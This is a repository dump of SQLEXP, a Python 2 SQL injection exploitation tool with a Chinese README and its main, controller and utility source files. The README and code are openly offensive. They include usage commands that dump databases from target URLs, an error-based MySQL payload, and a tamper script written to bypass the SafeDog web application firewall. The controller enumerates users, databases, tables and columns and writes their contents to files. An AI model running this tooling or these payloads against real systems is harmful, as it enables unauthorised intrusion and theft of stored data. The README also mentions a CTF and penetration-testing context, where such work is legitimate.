├── LICENSE ├── README.md ├── SQLEXP.py ├── images ├── image-20200427175012921.png ├── image-20200427175055280.png ├── image-20200427183437621.png ├── image-20200427185702838.png ├── image-20200427185838021.png └── image-20200427190147278.png ├── lib ├── __init__.py ├── controller │ ├── __init__.py │ ├── action.py │ ├── action.py.bak │ └── hander.py ├── core │ ├── __init__.py │ ├── common.py │ ├── data.py │ ├── datatype.py │ ├── dbs │ │ ├── __init__.py │ │ ├── databases.py │ │ ├── mssql │ │ │ ├── mssql_B.py │ │ │ ├── mssql_E.py │ │ │ ├── mssql_T.py │ │ │ └── mssql_U.py │ │ ├── mysql │ │ │ ├── mysql_B.py │ │ │ ├── mysql_E.py │ │ │ ├── mysql_T.py │ │ │ └── mysql_U.py │ │ └── oracle │ │ │ ├── oracle_B.py │ │ │ ├── oracle_E.py │ │ │ ├── oracle_T.py │ │ │ └── oracle_U.py │ ├── defaults.py │ ├── enums.py │ ├── log.py │ ├── option.py │ ├── request │ │ ├── __init__.py │ │ ├── connection.py │ │ └── hackhttp.py │ └── settings.py ├── parse │ ├── __init__.py │ ├── cmdline.py │ └── payload.py └── utils │ ├── __init__.py │ └── check_platform.py ├── output └── files │ └── log.txt ├── paper └── SQL_BypassWaf.pdf ├── req.txt ├── tamper ├── __init__.py ├── mysql_safedog_bypass.py ├── mysql_yunsuo_bypass.py └── workxz.py └── thirdparty ├── __init__.py ├── ansistrm ├── __init__.py └── ansistrm.py ├── colorama ├── __init__.py ├── ansi.py ├── ansitowin32.py ├── initialise.py ├── win32.py └── winterm.py ├── prettytable ├── __init__.py └── prettytable.py └── termcolor ├── __init__.py └── termcolor.py /README.md: -------------------------------------------------------------------------------- 1 | # SQLEXP 2 | [![Python 2.7](https://img.shields.io/badge/python-2.7-yellow.svg)](https://www.python.org/)[![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/ggg4566/SQLEXP/blob/master/LICENSE) 3 | 4 | ## Paper:https://xz.aliyun.com/t/7767 5 | 6 | PDF Download:[老树新花SQL 注入WAF绕过](./paper/SQL_BypassWaf.pdf) 7 | 8 | ![](https://forum.90sec.com/uploads/default/original/2X/5/5e0caa92f44e2b37ae941511f0c52b2516f22886.png) 9 | 10 | --- 11 | 12 | 13 | 14 | ​ SQL 注入利用工具,存在waf的情况下自定义编写tamper脚本 dump数据. 15 | 16 | ​ 对于SQL注入漏洞利用通常情况下我们使用SQLMAP,在waf存在的场景下想利用自己独有的payload进行注入抓取数据,这个时候SQLMAP就显得那么力不存心,这种情况并不少见,对于ctfer来说经常会遇到,每次都要重复编写脚本对于一个IT人士来说显然不可接受。该工具正是解决waf存在场景下利用SQLMAP dump数据的难题,使用方法和SQLMAP基本相同,只要你会使用SQLMAP那么该工具上手非常容易. 17 | 18 | ![image-20200427175012921](https://raw.githubusercontent.com/ggg4566/SQLEXP/master/images/image-20200427175012921.png) 19 | 20 | **使用手册:** 21 | 22 | ​ 使用方法和SQLmap类似,仅仅实现了mysql、oracle、mssql,支持[U|E|B|T]四种方式的注入。 23 | 24 | * 该工具仅仅是用来利用SQL注入漏洞,并不支持检测 25 | * 只实现了最基本的数据dump功能并不能像SQLMAP一样--os-shell以及其他用法 26 | * 从request 文件里面加载利用注入点插入$\*$ ```id=1$*$&submit=submit``` 27 | 28 | --- 29 | 30 | ``` 31 | Usage: python SQLEXP.py [options] 32 | 33 | Options: 34 | -h, --help show this help message and exit 35 | Usage: python SQLEXP.py [options] 36 | 37 | Options: 38 | -h, --help show this help message and exit 39 | -v, --version Show program's version number and exit 40 | 41 | Target: 42 | At least one of these options has to be provided to define the 43 | target(s) 44 | 45 | -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") 46 | 47 | Request: 48 | These options can be used to specify how to connect to the target URL 49 | 50 | --method=METHOD Force usage of given HTTP method (e.g. GET|POST) 51 | --data=DATA Data string to be sent through POST 52 | --cookie=COOKIE HTTP Cookie header value 53 | --proxy=PROXY Use a proxy to connect to the target URL,only can use 54 | http proxy:[http://127.0.0.1:8080] 55 | --timeout=TIMEOUT Seconds to wait before timeout connection 56 | --delay=DELAY_TIME dbms delay timeout 57 | 58 | Injection: 59 | These options can be used to specify which parameters to test for, 60 | provide custom injection payloads and optional tampering scripts 61 | 62 | -p PARAMETER Testable parameter(s) 63 | --dbms=DBMS Force back-end DBMS to this value 64 | --technique=TECH SQL injection techniques to use (default "E") 65 | --string=FLAG String to match when query is evaluated to True 66 | --time-sec=TIME_SEC 67 | Seconds to wait before timeout connection 68 | --order-sec=ORDER_SEC 69 | Resulting page URL searched for second-order response 70 | --tamper=TAMPER Use given script(s) for tampering injection data 71 | --current-user Retrieve DBMS current user 72 | --current-db Retrieve DBMS current database 73 | --dbs Enumerate DBMS databases 74 | --tables Enumerate DBMS database tables 75 | --columns Enumerate DBMS database table columns 76 | --dump Dump DBMS database table entries 77 | -D DB DBMS database to enumerate 78 | -T TBL DBMS database table(s) to enumerate 79 | -C COL DBMS database table column(s) to enumerate 80 | 81 | Misc: 82 | These options can be show some additional function. 83 | 84 | --debug show deubg payload. 85 | 86 | Example: 87 | list dbs: 88 | #python SQLEXP.py -u "http://test.com/bypass 89 | _sql/sqlinject.php?id=1" -p id --dbms mysql --dbs --tech U 90 | list tables: 91 | #python SQLEXP.py -u "http://test.com/bypass 92 | _sql/sqlinject.php?id=1" -p id --dbms mysql -D test --tables --tech U --proxy http://127.0.0.1:8080 93 | dump test db data: 94 | #python SQLEXP.py -u "http://test.com/bypass 95 | _sql/sqlinject.php?id=1" -p id --dbms mysql -D test --dump --tech E 96 | #python SQLEXP.py -u "http://web.jarvisoj.com:32787/login.php" --data="username=user&password=admin" -p username --tamper=tamper_blank --dbms=mysql --technique=B --string="密码错误" --method=post --dbs 97 | #python SQLEXP.py-u http://localhost/sqlinject/sqlinject.php?id=2 -r req.txt --dbms mysql --tech E --current-user --debug 98 | ``` 99 | 100 | **开发手册:** 101 | 102 | --- 103 | 104 | * 二次开发 105 | 106 | 工具设计思想借鉴了SQLMAP整个payload由boundary和基本查询query构成 107 | 108 | ![image-20200427183437621](https://raw.githubusercontent.com/ggg4566/SQLEXP/master/images/image-20200427183437621.png) 109 | 110 | 为了方便扩展添加支持其他数据库,构造语句和payload高度分离,不同数据库不同注入方法使用单独一个文件编写,由于对数据库基本查询能力进行了高度抽象化,所以添加支持其他数据引擎非常容易,只需要copy一份已经支持的数据库代码文件,在payload.py里面添加相对应的boundary和 base query即可。 111 | 112 | ​ 比如添加支持db2: 113 | 114 | ​ 1.copy -r SQLEXP\lib\core\dbs\mysql SQLEXP\lib\core\dbs\db2 115 | 116 | 2.在SQLEXP\lib\parse\payload.py文件里面添加对应的代码 117 | 118 | ```python 119 | db2_boundarys = { 120 | "length":"and len(%query)=%value", 121 | "time_length":"if(len(%query)>%value) WAITFOR DELAY '0:0:{T}'".format(T = conf.time_sec), 122 | .... 123 | } 124 | db2_payloads = { 125 | "query":"(select %s from t_n)", 126 | "base_query":"(select temp from (select ROW_NUMBER() OVER(order by (select 0)) AS limit,(%s) as temp from t_n)xx where limit=%d)", 127 | "query_tab":"(select tn from (select ROW_NUMBER() OVER(order by (select 0)) AS limit,(%s) as tn from {db}.t_n)xx where limit=%d)", 128 | ... 129 | } 130 | .... 131 | if conf.dbms == 'db2': 132 | BOUNDARY.update(mssql_boundarys) 133 | SQL.update(mssql_payloads) 134 | ``` 135 | 136 | ​ 一定注意的的是这里创建的数据库文件夹和py文件名和--dbms参数联系紧密,程序运行的时候通过--dbms的参数来决定加载那个数据库引擎的代码,所以--dbms=db2的时候,db2/db2_E.py、db2/db2_U.py等文件一定要存在。 137 | 138 | ![image-20200427185702838](https://raw.githubusercontent.com/ggg4566/SQLEXP/master/images/image-20200427185702838.png) 139 | 140 | ![image-20200427185838021](https://raw.githubusercontent.com/ggg4566/SQLEXP/master/images/image-20200427185838021.png) 141 | 142 | * Tamper编写 143 | 144 | tamper主要针对waf存在场景下的数据dump. 145 | 146 | 编写非常简单只要将bounday和query替换为自己测试绕过的语句即可,以下为最新safedog的绕过tamper 147 | 148 | ```python 149 | #! /usr/bin/env python 150 | # -*- coding:utf-8 -*- 151 | # author:flystart 152 | # home:www.flystart.org 153 | 154 | b = " xor exp(~(/*!50000select*/*from(select(%query))a))" 155 | 156 | def do(strings): 157 | if "concat" in strings: 158 | strings = strings.replace('concat(',"/*!concat*/(") 159 | if "user" in strings: 160 | strings = strings.replace('user(',"/*!user*/(") 161 | strings = strings.replace(' and ', "&&") 162 | return strings 163 | def tamper(boundary,query): 164 | # print 'tamper' 165 | boundary = b 166 | query = do(query) 167 | return boundary,query 168 | ``` 169 | 170 | ![image-20200427190147278](https://raw.githubusercontent.com/ggg4566/SQLEXP/master/images/image-20200427190147278.png) 171 | 172 | **参考:** 173 | 174 | https://github.com/shack2/SuperSQLInjectionV1 175 | 176 | https://github.com/sqlmapproject/sqlmap -------------------------------------------------------------------------------- /SQLEXP.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | # python SQLEXP -u "http://192.168.25.129/sqlinject/sqlinject.php?id=2" -p id --dump --dbms mysql -D test --tech E 6 | # python SQLEXP -u "http://192.168.25.129/sqlinject/update_text.php" -p username --current-user\ 7 | # --dbms mysql --tech E --order-sec "http://192.168.25.129/sqlinject/query_users.php?id=1" 8 | # --method post --data="username=5" -D insertdata --dump 9 | # E:\PythonProject\flySQLEXP>python SQLEXP.py -u "http://web.jarvisoj.com:32787/login.php" --data="username=user&password=admin" -p username --tamper=tamper_blank --dbms=mysql --technique=B --string="密码错误" --method=post --dbs 10 | # python SQL-u "http://192.168.153.129/sqlinject/sqlinject.php?" -p id --data="id=1" --string=wang --tech E --dbms mysql -D test --dump --method=post 11 | # python SQLEXP.py-u http://localhost/sqlinject/sqlinject.php?id=2 -r E:\PythonProject\flySQLEXP_v2\req.txt --dbms mysql --tech E --current-user --debug 12 | import os 13 | import traceback 14 | import sys 15 | import inspect 16 | from lib.parse.cmdline import cmdline_parse 17 | from lib.core.data import paths,logger, cmdLineOptions 18 | from lib.core.option import init_options 19 | from lib.core.settings import IS_WIN, UNICODE_ENCODING 20 | from lib.core.common import set_paths,we_are_frozen,get_unicode,banner 21 | 22 | from thirdparty.colorama.initialise import init as winowsColorInit 23 | from lib.controller.hander import start 24 | 25 | reload(sys) 26 | sys.setdefaultencoding('utf8') 27 | 28 | 29 | def module_path(): 30 | """ 31 | This will get us the program's directory, even if we are frozen 32 | using py2exe 33 | """ 34 | try: 35 | _ = sys.executable if we_are_frozen() else __file__ 36 | except NameError: 37 | _ = inspect.getsourcefile(module_path) 38 | 39 | return get_unicode(os.path.dirname(os.path.realpath(_)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) 40 | 41 | 42 | def main(): 43 | banner() 44 | try: 45 | paths.ROOT_PATH = module_path() 46 | try: 47 | os.path.isdir(paths.ROOT_PATH) 48 | except UnicodeEncodeError: 49 | errMsg = "your system does not properly handle non-ASCII paths. " 50 | errMsg += "Please move the project root directory to another location" 51 | logger.error(errMsg) 52 | raise SystemExit 53 | cmdLineOptions.update(cmdline_parse().__dict__) 54 | init_options(cmdLineOptions) 55 | set_paths(paths.ROOT_PATH) 56 | if IS_WIN: 57 | winowsColorInit() 58 | start() 59 | except Exception,e: 60 | logger.error(e.message) 61 | logger.error(traceback.format_exc()) 62 | except Exception: 63 | logger.error(traceback.format_exc()) 64 | logger.warning('It seems like you reached a unhandled exception, please report it to author\'s mail:root@flystart.org') 65 | 66 | 67 | if __name__ == "__main__": 68 | main() -------------------------------------------------------------------------------- /images/image-20200427175012921.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/images/image-20200427175012921.png -------------------------------------------------------------------------------- /images/image-20200427175055280.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/images/image-20200427175055280.png -------------------------------------------------------------------------------- /images/image-20200427183437621.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/images/image-20200427183437621.png -------------------------------------------------------------------------------- /images/image-20200427185702838.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/images/image-20200427185702838.png -------------------------------------------------------------------------------- /images/image-20200427185838021.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/images/image-20200427185838021.png -------------------------------------------------------------------------------- /images/image-20200427190147278.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ggg4566/SQLEXP/f428def7ec39ac69c9c66881714ccd619434eb1e/images/image-20200427190147278.png -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/controller/action.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.data import paths,conf,logger 8 | from lib.core.common import put_file_contents 9 | from thirdparty.prettytable.prettytable import PrettyTable 10 | import imp 11 | import inspect 12 | import sys 13 | import urlparse 14 | 15 | DUMP_FILE = "" 16 | 17 | 18 | class Actions(): 19 | def __init__(self,conf): 20 | self.conf = conf 21 | try: 22 | module_name = "{0}_{1}".format(conf.dbms,conf.tech) 23 | fp, pathname, description = imp.find_module(module_name, [paths.DBS]) 24 | module_obj = imp.load_module("_", fp, pathname, description) 25 | data_name = getattr(module_obj, conf.dbms.capitalize()) 26 | a= conf.tech 27 | self.dbms = data_name(a) 28 | # self.dbms = data_name(conf.tech) 29 | except Exception,e: 30 | logger.error(e.message) 31 | sys.exit(0) 32 | 33 | def do(self,method,*args): 34 | method = getattr(self.dbms,method) 35 | ret = method(*args) 36 | return ret 37 | 38 | def get_current_user(self): 39 | fun = inspect.stack()[0][3] 40 | user = self.do(fun) 41 | info = "CurrentUser is:"+user 42 | logger.success(info) 43 | put_file_contents(DUMP_FILE, info) 44 | return 45 | 46 | def get_current_db(self): 47 | fun = inspect.stack()[0][3] 48 | db = self.do(fun) 49 | info = "CurrentDb is:"+db 50 | logger.success(info) 51 | put_file_contents(DUMP_FILE, info) 52 | return 53 | 54 | 55 | def get_dbs(self): 56 | fun = inspect.stack()[0][3] 57 | dbs = self.do(fun) 58 | out = PrettyTable() 59 | out.add_column("DATABASE:",dbs) 60 | logger.info(out) 61 | put_file_contents(DUMP_FILE,str(out)) 62 | return 63 | 64 | def get_tables(self): 65 | fun = inspect.stack()[0][3] 66 | dbs = conf.dbs 67 | tables = [] 68 | for db in dbs: 69 | tables = self.do(fun,db) 70 | logger.success(db) 71 | out = PrettyTable() 72 | out.add_column("TABLES:", tables) 73 | logger.info(out) 74 | put_file_contents(DUMP_FILE, "db:{0}".format(db)) 75 | put_file_contents(DUMP_FILE, str(out)) 76 | return 77 | 78 | def get_columns(self): 79 | fun = inspect.stack()[0][3] 80 | db = conf.dbs[0] 81 | tables = conf.table 82 | for table in tables: 83 | cols = self.do(fun,db,table) 84 | out = PrettyTable() 85 | out.add_column(table, cols) 86 | logger.info(out) 87 | put_file_contents(DUMP_FILE, "table:{0}.{1}".format(db,table)) 88 | put_file_contents(DUMP_FILE, str(out)) 89 | return 90 | 91 | def dump(self): 92 | fun = inspect.stack()[0][3] 93 | dbs = conf.dbs 94 | tables = conf.table 95 | cols = conf.columns 96 | ''' 97 | if (len(dbs) > 1 and len(tables)>0) or (len(tables)>1 and len(cols>0)): 98 | logger.info("Please -D db -T table -C col --dump") 99 | ''' 100 | for db in dbs: 101 | if not tables: 102 | tables = self.do("get_tables",db) 103 | logger.info(tables) 104 | for table in tables: 105 | if (not conf.table and not conf.columns) or (conf.table and not conf.columns): 106 | cols = self.do("get_columns",db,table) 107 | logger.info(cols) 108 | out = PrettyTable() 109 | info = "{0}.{1}\n".format(db, table) 110 | logger.info(info) 111 | put_file_contents(DUMP_FILE, info) 112 | for col in cols: 113 | values = self.do(fun,db,table,col) 114 | out.add_column(col,values) 115 | logger.info(out) 116 | put_file_contents(DUMP_FILE, str(out)) 117 | return 118 | 119 | 120 | def action(): 121 | global DUMP_FILE 122 | target = urlparse.urlparse(conf.url).netloc 123 | DUMP_FILE = r"{0}/{1}".format(paths.DUMP_PATH, target+".txt") 124 | act = Actions(conf) 125 | if conf.getCurrentUser: 126 | logger.info("get current_user") 127 | act.get_current_user() 128 | 129 | if conf.getCurrentDb: 130 | logger.info("get current_db") 131 | act.get_current_db() 132 | if conf.getDbs: 133 | logger.info("list all databases") 134 | act.get_dbs() 135 | if conf.getTables: 136 | logger.info("list tables") 137 | act.get_tables() 138 | if conf.getColumns: 139 | logger.info("list columns") 140 | act.get_columns() 141 | if conf.dumpTable: 142 | act.dump() -------------------------------------------------------------------------------- /lib/controller/action.py.bak: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | from lib.core.data import paths,conf,logger 8 | from lib.core.common import put_file_contents 9 | from thirdparty.prettytable.prettytable import PrettyTable 10 | import imp 11 | import inspect 12 | import sys 13 | import urlparse 14 | 15 | DUMP_FILE = "" 16 | 17 | 18 | class Actions(): 19 | def __init__(self,conf): 20 | self.conf = conf 21 | try: 22 | module_name = "{0}_{1}".format(conf.dbms,conf.tech) 23 | fp, pathname, description = imp.find_module(module_name, [paths.DBS]) 24 | module_obj = imp.load_module("_", fp, pathname, description) 25 | data_name = getattr(module_obj, conf.dbms.capitalize()) 26 | a= conf.tech 27 | self.dbms = data_name(a) 28 | # self.dbms = data_name(conf.tech) 29 | except Exception,e: 30 | logger.error(e.message) 31 | sys.exit(0) 32 | 33 | def do(self,method,*args): 34 | method = getattr(self.dbms,method) 35 | ret = method(*args) 36 | return ret 37 | 38 | def get_current_user(self): 39 | fun = inspect.stack()[0][3] 40 | user = self.do(fun) 41 | info = "CurrentUser is:"+user 42 | logger.success(info) 43 | put_file_contents(DUMP_FILE, info) 44 | return 45 | 46 | def get_current_db(self): 47 | fun = inspect.stack()[0][3] 48 | db = self.do(fun) 49 | info = "CurrentDb is:"+db 50 | logger.success(info) 51 | put_file_contents(DUMP_FILE, info) 52 | return 53 | 54 | 55 | def get_dbs(self): 56 | fun = inspect.stack()[0][3] 57 | dbs = self.do(fun) 58 | out = PrettyTable() 59 | out.add_column("DATABASE:",dbs) 60 | logger.info(out) 61 | put_file_contents(DUMP_FILE,str(out)) 62 | return 63 | 64 | def get_tables(self): 65 | fun = inspect.stack()[0][3] 66 | dbs = conf.dbs 67 | tables = [] 68 | for db in dbs: 69 | tables = self.do(fun,db) 70 | logger.success(db) 71 | out = PrettyTable() 72 | out.add_column("TABLES:", tables) 73 | logger.info(out) 74 | put_file_contents(DUMP_FILE, "db:{0}".format(db)) 75 | put_file_contents(DUMP_FILE, str(out)) 76 | return 77 | 78 | def get_columns(self): 79 | fun = inspect.stack()[0][3] 80 | db = conf.dbs[0] 81 | tables = conf.table 82 | for table in tables: 83 | cols = self.do(fun,db,table) 84 | out = PrettyTable() 85 | out.add_column(table, cols) 86 | logger.info(out) 87 | put_file_contents(DUMP_FILE, "table:{0}.{1}".format(db,table)) 88 | put_file_contents(DUMP_FILE, str(out)) 89 | return 90 | 91 | def dump(self): 92 | fun = inspect.stack()[0][3] 93 | dbs = conf.dbs 94 | tables = conf.table 95 | cols = conf.columns 96 | ''' 97 | if (len(dbs) > 1 and len(tables)>0) or (len(tables)>1 and len(cols>0)): 98 | logger.info("Please -D db -T table -C col --dump") 99 | ''' 100 | for db in dbs: 101 | if not tables: 102 | tables = self.do("get_tables",db) 103 | logger.info(tables) 104 | for table in tables: 105 | if (not conf.table and not conf.columns) or (conf.table and not conf.columns): 106 | cols = self.do("get_columns",db,table) 107 | logger.info(cols) 108 | out = prettytable.PrettyTable() 109 | info = "{0}.{1}\n".format(db, table) 110 | logger.info(info) 111 | put_file_contents(DUMP_FILE, info) 112 | for col in cols: 113 | values = self.do(fun,db,table,col) 114 | out.add_column(col,values) 115 | logger.info(out) 116 | put_file_contents(DUMP_FILE, str(out)) 117 | return 118 | 119 | 120 | def action(): 121 | global DUMP_FILE 122 | target = urlparse.urlparse(conf.url).netloc 123 | DUMP_FILE = r"{0}/{1}".format(paths.DUMP_PATH, target+".txt") 124 | act = Actions(conf) 125 | if conf.getCurrentUser: 126 | logger.info("get current_user") 127 | act.get_current_user() 128 | 129 | if conf.getCurrentDb: 130 | logger.info("get current_db") 131 | act.get_current_db() 132 | if conf.getDbs: 133 | logger.info("list all databases") 134 | act.get_dbs() 135 | if conf.getTables: 136 | logger.info("list tables") 137 | act.get_tables() 138 | if conf.getColumns: 139 | logger.info("list columns") 140 | act.get_columns() 141 | if conf.dumpTable: 142 | act.dump() -------------------------------------------------------------------------------- /lib/controller/hander.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | from lib.controller.action import action 7 | 8 | 9 | def start(): 10 | action() -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | # author:flystart 4 | # home:www.flystart.org 5 | 6 | 7 | import re 8 | import sys 9 | import os 10 | import string 11 | import random 12 | import binascii 13 | import imp 14 | from lib.core.data import * 15 | from lib.core.log import LOGGER_HANDLER 16 | from lib.core.settings import BANNER, IS_WIN, UNICODE_ENCODING, NULL, INVALID_UNICODE_CHAR_FORMAT 17 | from thirdparty.termcolor.termcolor import colored 18 | import urlparse,urllib 19 | import chardet 20 | from math import sqrt 21 | 22 | 23 | def is_list_like(value): 24 | """ 25 | Returns True if the given value is a list-like instance 26 | """ 27 | return isinstance(value, (list, tuple, set)) 28 | 29 | 30 | def format_unicode(raw_content, default_encoding_list=("utf-8", "gb18030")): 31 | if isinstance(raw_content, unicode): 32 | return raw_content 33 | 34 | encoding = chardet.detect(raw_content).get("encoding", "utf-8") 35 | 36 | try: 37 | return raw_content.decode(encoding) 38 | except UnicodeEncodeError as e: 39 | for encoding in default_encoding_list: 40 | try: 41 | return raw_content.decode(encoding) 42 | except UnicodeEncodeError as e: 43 | pass 44 | raise e 45 | 46 | 47 | def get_unicode(value, encoding=None, noneToNull=False): 48 | """ 49 | Return the unicode representation of the supplied value: 50 | 51 | >>> getUnicode(u'test') 52 | u'test' 53 | >>> getUnicode('test') 54 | u'test' 55 | >>> getUnicode(1) 56 | u'1' 57 | """ 58 | 59 | if noneToNull and value is None: 60 | return NULL 61 | 62 | if is_list_like(value): 63 | value = list(get_unicode(_, encoding, noneToNull) for _ in value) 64 | return value 65 | 66 | if isinstance(value, unicode): 67 | return value 68 | elif isinstance(value, basestring): 69 | while True: 70 | try: 71 | return unicode(value, encoding or UNICODE_ENCODING) 72 | except UnicodeDecodeError, ex: 73 | try: 74 | return unicode(value, UNICODE_ENCODING) 75 | except Exception: 76 | value = value[:ex.start] + "".join( 77 | INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] 78 | else: 79 | try: 80 | return unicode(value) 81 | except UnicodeDecodeError: 82 | return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances 83 | 84 | 85 | def banner(): 86 | """ 87 | Function prints banner with its version 88 | """ 89 | _ = BANNER 90 | if not getattr(LOGGER_HANDLER, "is_tty", False): 91 | _ = re.sub("\033.+?m", "", _) 92 | data_to_stdout(_) 93 | 94 | 95 | def singleTimeWarnMessage(message): # Cross-linked function 96 | sys.stdout.write(message) 97 | sys.stdout.write("\n") 98 | sys.stdout.flush() 99 | 100 | 101 | def stdoutencode(data): 102 | retVal = None 103 | try: 104 | data = data or "" 105 | 106 | # Reference: http://bugs.python.org/issue1602 107 | if IS_WIN: 108 | output = data.encode(sys.stdout.encoding, "replace") 109 | if '?' in output and '?' not in data: 110 | warnMsg = "cannot properly display Unicode characters " 111 | warnMsg += "inside Windows OS command prompt " 112 | warnMsg += "(http://bugs.python.org/issue1602). All " 113 | warnMsg += "unhandled occurances will result in " 114 | warnMsg += "replacement with '?' character. Please, find " 115 | warnMsg += "proper character representation inside " 116 | warnMsg += "corresponding output files. " 117 | singleTimeWarnMessage(warnMsg) 118 | retVal = output 119 | else: 120 | retVal = data.encode(sys.stdout.encoding) 121 | except Exception: 122 | retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data 123 | return retVal 124 | 125 | 126 | def data_to_stdout(data, bold=False): 127 | """ 128 | Writes text to the stdout (console) stream 129 | """ 130 | conf.SCREEN_OUTPUT = True 131 | if conf.SCREEN_OUTPUT: 132 | 133 | if isinstance(data, unicode): 134 | message = stdoutencode(data) 135 | else: 136 | message = data 137 | sys.stdout.write(setColor(message, bold)) 138 | try: 139 | sys.stdout.flush() 140 | except IOError: 141 | pass 142 | return 143 | 144 | 145 | def put_file_contents(filename,contents): 146 | with open(filename,"ab+") as fin: 147 | fin.write(contents+'\n') 148 | 149 | 150 | def get_file_contents(filename): 151 | contents="" 152 | with open(filename,"rb") as fin: 153 | contents=fin.read() 154 | return contents 155 | 156 | 157 | def setColor(message, bold=False): 158 | retVal = message 159 | if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler 160 | if bold: 161 | retVal = colored(message, color=None, on_color=None, attrs=("bold",)) 162 | return retVal 163 | 164 | 165 | def set_paths(root_path): 166 | paths.OUTPUT_PATH = os.path.join(root_path, "output") 167 | paths.DUMP_PATH = os.path.join(paths.OUTPUT_PATH,"dump") 168 | paths.FILES_PATH = os.path.join(paths.OUTPUT_PATH,"files") 169 | paths.TAMPER_PATH = os.path.join(root_path, "tamper") 170 | paths.DBS = os.path.join(root_path,"lib/core/dbs/{}".format(conf.dbms)) 171 | if not os.path.exists(paths.OUTPUT_PATH): 172 | os.mkdir(paths.OUTPUT_PATH) 173 | if not os.path.exists(paths.DUMP_PATH): 174 | os.mkdir(paths.DUMP_PATH) 175 | if not os.path.exists(paths.FILES_PATH): 176 | os.mkdir(paths.FILES_PATH) 177 | 178 | 179 | def we_are_frozen(): 180 | """ 181 | Returns whether we are frozen via py2exe. 182 | This will affect how we find out where we are located. 183 | Reference: http://www.py2exe.org/index.cgi/WhereAmI 184 | """ 185 | 186 | return hasattr(sys, "frozen") 187 | 188 | 189 | def format_data(data): 190 | return data 191 | 192 | 193 | def tamper(boundary,query): 194 | if conf.tamper: 195 | tamper = conf.tamper 196 | fp, pathname, description = imp.find_module(tamper, [paths.TAMPER_PATH]) 197 | module_obj = imp.load_module("_", fp, pathname, description) 198 | fun = getattr(module_obj, 'tamper') 199 | boundary,query = fun(boundary,query) 200 | return boundary,query 201 | # example inpput "321" 202 | # return 0x333231 203 | def format_hex(str): 204 | return "0x"+binascii.b2a_hex(str) 205 | 206 | 207 | def un_hex(str): 208 | """ 209 | :param str: 0x7879 210 | :return: "xy" 211 | """ 212 | return binascii.a2b_hex(str[2:]) 213 | 214 | 215 | def random_str(length=5, chars=string.ascii_letters + string.digits): 216 | return ''.join(random.sample(chars, length)) 217 | 218 | 219 | def match_data(text,token): 220 | res = "" 221 | try: 222 | pattern = "{pre}(.*){suf}".format(pre=token,suf=token) 223 | matcher = re.search(re.compile(pattern), text) 224 | res = matcher.group(1) 225 | except Exception, e: 226 | pass 227 | return res 228 | 229 | 230 | def match_all_data(text,token): 231 | result = "" 232 | try: 233 | text = match_data(text,token) 234 | result = text.split(token) 235 | except Exception,e: 236 | pass 237 | return result 238 | 239 | 240 | def find_success(flag,text): 241 | ret = False 242 | if flag in text: 243 | ret = True 244 | return ret 245 | 246 | 247 | def dict_to_q_str(dict): # input {'id':1,'name':'greent'} | output id=1&name=greent 248 | return urllib.urlencode(dict) 249 | 250 | 251 | def q_str_to_dict(query_str): #input id=1&name=greent | output {'id':1,'name':'greent'} 252 | return dict((k, v if len(v) > 1 else v[0]) for k, v in urlparse.parse_qs(query_str).iteritems()) 253 | 254 | 255 | def stdev(values): 256 | """ 257 | Computes standard deviation of a list of numbers. 258 | Reference: http://www.goldb.org/corestats.html 259 | 260 | >>> stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) 261 | 0.06324555320336757 262 | """ 263 | 264 | if not values or len(values) < 2: 265 | return None 266 | else: 267 | avg = average(values) 268 | _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) 269 | return sqrt(_ / (len(values) - 1)) 270 | 271 | def average(values): 272 | """ 273 | Computes the arithmetic mean of a list of numbers. 274 | 275 | >>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]) 276 | 0.9 277 | """ 278 | 279 | return (sum(values) / len(values)) if values else None 280 | 281 | 282 | def url_encode(param): 283 | """ 284 | ?id=param 285 | >>> url_encode(parma) 286 | :param param: 287 | :return: 288 | """ 289 | return urllib.quote(param) 290 | 291 | -------------------------------------------------------------------------------- 